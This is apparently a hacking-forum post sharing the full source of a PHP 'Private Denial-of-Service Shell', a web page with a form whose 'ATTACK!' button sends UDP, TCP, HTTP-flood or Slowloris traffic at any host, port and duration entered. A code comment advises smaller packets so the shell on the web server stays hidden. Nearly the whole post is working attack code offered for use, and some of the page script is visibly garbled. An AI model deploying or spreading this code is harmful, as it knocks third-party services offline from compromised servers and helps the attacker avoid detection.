Jump to content
io.kent

Php dos shell

Recommended Posts

Posted
<?php
if(isset($_GET['method']))
{
$bytes = 65000;
/*
* 65000 bytes is the around max packet size in
* TCP and UDP
*
* lower ths to be secretive about the shell being on
* the web server - you will have less chance of the
* outbound packets being caught.
*/

if(empty($_GET['ip']) || empty($_GET['port']) || empty($_GET['length']))
{
exit("You've forgotten something.");
}

if($_GET['method'] == "udp")
{
ignore_user_abort(true);
set_time_limit(0);

ob_start();
echo "Attack sent!";
$s = ob_get_length();

header("Content-Length: {$s}");
header("Content-Encoding: none");
header("Connection: close");

ob_end_flush();
ob_flush();
flush();

if(session_id()) session_write_close();

$n = 0;
$packet = '';
do
{
switch($n)
{
case 0:
$packet .= 'A';
break;

case 1:
$packet .= 'S';
break;

case 2:
$packet .= 'D';
break;

case 3:
$packet .= 'A';
break;
}

$n++;
if($n == 4) $n = 0;
} while(strlen($packet) != $bytes);

$running = true;

$runFor = strtotime('now') + $_GET['length'];

do
{
if(strtotime('now') > $runFor)
{
$running = false;
}
$sock = @fsockopen("udp://{$_GET['ip']}", $_GET['port'], $errno, $errstr, 10);

if($sock)
{
fwrite($sock, $packet);
fclose($sock);
}
else
{
$sock = @fsockopen("udp://{$_GET['ip']}", $_GET['port'], $errno, $errstr, 10);
fwrite($sock, $packet);
}
} while($running == true);
}
elseif($_GET['method'] == "slowloris")
{
ignore_user_abort(true);
set_time_limit(0);

ob_start();
echo "Attack sent!";
$s = ob_get_length();

header("Content-Length: {$s}");
header("Content-Encoding: none");
header("Connection: close");

ob_end_flush();
ob_flush();
flush();

if(session_id()) session_write_close();

$header = array();
$header[] = "GET / HTTP/1.1";
$header[] = "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7";
$header[] = "Host: {$_GET['ip']}";
$header[] = "Keep-Alive: 900";
$header[] = "Content-Length: " . mt_rand(100000, 1000000);
$header[] = "Connection: keep-alive";

$sock = @fsockopen($_GET['ip'], $_GET['port'], $errno, $errstr);

if($sock)
{
fwrite($sock, implode("\r\n", $header));

$running = false;
$runFor = strtotime('now') + $_GET['length'];

do
{
if(strtotime('now') > $runFor)
{
$running = false;
}

if($sock)
{
fwrite($sock, '.');
sleep(3);
}
else
{
$sock = @fsockopen($_GET['ip'], $_GET['port'], $errno, $errstr);
fwrite($sock, implode("\r\n", $header));
}
} while($running == true);
}
}
elseif($_GET['method'] == "tcp")
{
ignore_user_abort(true);
set_time_limit(0);

ob_start();
echo "Attack sent!";
$s = ob_get_length();

header("Content-Length: {$s}");
header("Content-Encoding: none");
header("Connection: close");

ob_end_flush();
ob_flush();
flush();

if(session_id()) session_write_close();

$n = 0;
$packet = '';
do
{
switch($n)
{
case 0:
$packet .= 'A';
break;

case 1:
$packet .= 'S';
break;

case 2:
$packet .= 'D';
break;

case 3:
$packet .= 'A';
break;
}

$n++;
if($n == 4) $n = 0;
} while(strlen($packet) != $bytes);

$running = true;

$runFor = strtotime('now') + $_GET['length'];

do
{
if(strtotime('now') > $runFor)
{
$running = false;
}
$sock = @fsockopen("tcp://{$_GET['ip']}", $_GET['port'], $errno, $errstr, 10);

if($sock)
{
fwrite($sock, $packet);
fclose($sock);
}
else
{
$sock = @fsockopen("tcp://{$_GET['ip']}", $_GET['port'], $errno, $errstr, 10);
fwrite($sock, $packet);
}
} while($running == true);
}
elseif($_GET['method'] == "http")
{
ignore_user_abort(true);
set_time_limit(0);

ob_start();
echo "Attack sent!";
$s = ob_get_length();

header("Content-Length: {$s}");
header("Content-Encoding: none");
header("Connection: close");

ob_end_flush();
ob_flush();
flush();

if(session_id()) session_write_close();

$header = array();
$header[] = "GET / HTTP/1.1";
$header[] = "Host: {$_GET['ip']}";
$header[] = "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7";
$header[] = "Keep-Alive: 300";
$header[] = "Content-Length: " . mt_rand(100000, 1000000);
$header[] = "Connection: keep-alive";

$sock = @fsockopen($_GET['ip'], $_GET['port'], $errno, $errstr);

if($sock)
{
fwrite($sock, implode("\r\n", $header));

$running = false;
$runFor = strtotime('now') + $_GET['length'];

do
{
if(strtotime('now') > $runFor)
{
$running = false;
}

if($sock)
{
fwrite($sock, '.');
fclose($sock);
sleep(3);
}
else
{
$sock = @fsockopen($_GET['ip'], $_GET['port'], $errno, $errstr);
fwrite($sock, implode("\r\n", $header));
}
} while($running == true);
}
}
}
?>

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="author" content="ASDA">
<meta name="robots" content="noindex, nofollow">
<title> Private Denial-of-Service Shell | Created by ASDA | HackForums.net | </title>

<style>
html, body
{
height: 100%;
cursor: none;
background: #000;
color: #66ff33;
overflow: hidden;
}

h1
{
text-align: center;
font-size: 50px;
}

#barX
{
background: #66ff33;
left: 0;
top: 0;
position: absolute;
width: 1px;
height: 100%;
z-index: 1000;
}

#barY
{
background: #66ff33;
left: 0;
top: 0;
position: absolute;
width: 100%;
height: 1px;
z-index: 1000;
}

input
{
cursor: none;
border: 1px solid #11ff00;
margin-bottom: 20px;
}

form
{
width: 50px;
margin: auto;
}

label
{
display: block;
}

iframe
{
display: none;
visibility: hidden;
}

</style>
</head>

<body>
<div id="barY"></div>
<div id="barX"></div>

<div id="doColours"></div>

<form action="<?php echo $_SERVER["SCRIPT_NAME"]; ?>" method="GET">
<label for="ip">Host:</label>
<input type="text" name="ip" id="ip">

<label for="port">Port:</label>
<input type="text" name="port" id="port">

<label for="length">Length:</label>
<input type="text" name="length" id="length">

<label for="method">Method:</label>
<select name="method" id="method">
<option value="slowloris">Slowloris</option>
<option value="udp">UDP Flood</option>
<option value="tcp">TCP Flood</option>
<option value="http">HTTP Flood</option>
</select>

<br><br>

<input type="submit" value="ATTACK!">
</form>


<div id="youtube"></div>
<script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){
var title = document.title;
setInterval(function(){title = title.substring(1, title.length) + title.substring(0, 1);document.title = title;}, 300);

$("body").bind('mousemove', function(evt) {
$("#barY").css({
"top": evt.pageY + 10 + "px"
});
$("#barX").css({
"left": evt.pageX + 10 + "px"
});
});

var youtubea = new Array();
youtubea[0] = "<iframe src=\"https://youtube.com/embed/zeIjmvZZ_SQ?autoplay=1\" frameborder=\"0\"></iframe>";
youtubea[1] = "<iframe src=\"https://youtube.com/embed/-ieJtn73e1w?autoplay=1\" frameborder=\"0\"></iframe>";
youtubea[2] = "<iframe src=\"https://youtube.com/embed/w1bRniqs774?autoplay=1\" frameborder=\"0\"></iframe>";
youtubea[3] = "<iframe src=\"https://youtube.com/embed/GqUN76-_Djg?autoplay=1\" frameborder=\"0\"></iframe>";
youtubea[4] = "<iframe src=\"https://youtube.com/embed/UDzNq1s7dAE?autoplay=1\" frameborder=\"0\"></iframe>";
youtubea[5] = "<iframe src=\"https://youtube.com/embed/DC9xwwmyS70?autoplay=1\" frameborder=\"0\"></iframe>";
youtubea[6] = "<iframe src=\"https://youtube.com/embed/liYyEqlvG1Y?autoplay=1#t=17s\" frameborder=\"0\"></iframe>";
youtubea[7] = "<iframe src=\"https://youtube.com/embed/K1VLaXoRRdk?autoplay=1\" frameborder=\"0\"></iframe>";
youtubea[8] = "<iframe src=\"https://youtube.com/embed/EZxeJV-G9kg?autoplay=1\" frameborder=\"0\"></iframe>";
youtubea[9] = "<iframe src=\"https://youtube.com/embed/JRwXku3nM1c?autoplay=1\" frameborder=\"0\"></iframe>";
youtubea[10] = "<iframe src=\"https://youtube.com/embed/oKpPd2hDrE4?autoplay=1\" frameborder=\"0\"></iframe>";
youtubea[11] = "<iframe src=\"https://youtube.com/embed/3Rd0LHQHjWg?autoplay=1\" frameborder=\"0\"></iframe>";
youtubea[12] = "<iframe src=\"https://youtube.com/embed/nuno2jOwOjo?autoplay=1\" frameborder=\"0\"></iframe>";
youtubea[13] = "<iframe src=\"https://youtube.com/embed/xLho8rMQpoI?autoplay=1\" frameborder=\"0\"></iframe>";

var rand = Math.floor(Math.random() * (youtubea.length + 1));
$('#youtube').html(youtubea[rand]);

function doColour(a){setInterval(function(){for(var b=0;b<a.length;b++){$("#letter"+.css({color:colour[b]})}for(var b=0;b<colour.length;b++){colour[b-1]=colour[b]}colour[colour.length-1]=colour[-1]},50)}function initColours(a){var b="\x41\x53\x44\x41\x27\x73\x20\x50\x72\x69\x76\x61\x74\x65\x20\x53\x68\x65\x6C\x6C".split("");var c="<h1>";$.each(b,function(a,{c+="<span id='letter"+a+"'>"+b+"</span>"});c+="</h1>";$("#doColours").html(c);doColour(;var d=1;setInterval(function(){while(colour.length<b.length){colour=colour.concat(colour)}d=Math.floor(Math.random()*colours.length);colour=colours[d]},5e3)}colours=new Array;colours[0]=new Array("#FF0000","#FF1100","#FF2200","#FF3300","#FF4400","#FF5500","#FF6600","#FF7700","#FF8800","#FF9900","#FFaa00","#FFbb00","#FFcc00","#FFdd00","#FFee00","#FFff00","#FFee00","#FFdd00","#FFcc00","#FFbb00","#FFaa00","#FF9900","#FF8800","#FF7700","#FF6600","#FF5500","#FF4400","#FF3300","#FF2200","#FF1100");colours[1]=new Array("#00FF00","#000000","#00FF00","#00FF00","#00FF00","#000000","#00FF00","#00FF00","#00FF00","#000000","#00FF00","#00FF00","#00FF00","#000000","#00FF00","#00FF00","#00FF00","#000000","#00FF00","#00FF00","#00FF00","#000000","#00FF00","#00FF00","#00FF00","#000000","#00FF00","#00FF00");colours[2]=new Array("#00FF00","#FF0000","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00");colours[3]=new Array("#FF0000","#FF4000","#FF8000","#FFC000","#FFFF00","#C0FF00","#80FF00","#40FF00","#00FF00","#00FF40","#00FF80","#00FFC0","#00FFFF","#00C0FF","#0080FF","#0040FF","#0000FF","#4000FF","#8000FF","#C000FF","#FF00FF","#FF00C0","#FF0080","#FF0040");colours[4]=new Array("#FF0000","#EE0000","#DD0000","#CC0000","#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000","#110000","#220000","#330000","#440000","#550000","#660000","#770000","#880000","#990000","#AA0000","#BB0000","#CC0000","#DD0000","#EE0000");colours[5]=new Array("#000000","#000000","#000000","#FFFFFF","#FFFFFF","#FFFFFF","#000000","#000000","#000000","#FFFFFF","#FFFFFF","#FFFFFF","#000000","#000000","#000000","#FFFFFF","#FFFFFF","#FFFFFF","#000000","#000000","#000000","#FFFFFF","#FFFFFF","#FFFFFF","#000000","#000000","#000000","#FFFFFF","#FFFFFF","#FFFFFF");colours[6]=new Array("#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00","#0000FF","#FFFF00");colour=colours[4];initColours();

});
</script>
</body>
</html>

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...